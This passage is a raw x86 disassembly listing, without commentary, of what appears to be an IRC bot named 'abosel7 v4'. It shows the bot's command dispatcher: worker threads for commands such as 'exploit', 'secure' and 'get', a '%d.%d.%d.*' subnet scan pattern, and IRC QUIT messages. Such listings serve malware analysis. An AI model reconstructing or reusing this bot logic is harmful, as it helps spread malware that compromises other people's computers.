push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2680AB1h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2690000h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call near ptr 26908FFh nop push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2690000h jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j call near ptr 26908FFh nop push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh call near ptr 26A0617h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2690000h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 26908FFh push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2690000h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 26908FFh push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h call near ptr 2690000h nop jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 26908FFh push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2690000h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j call near ptr 26908FFh nop push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2690000h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej call near ptr 26908FFh nop push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2690000h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 26908FFh nop push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, 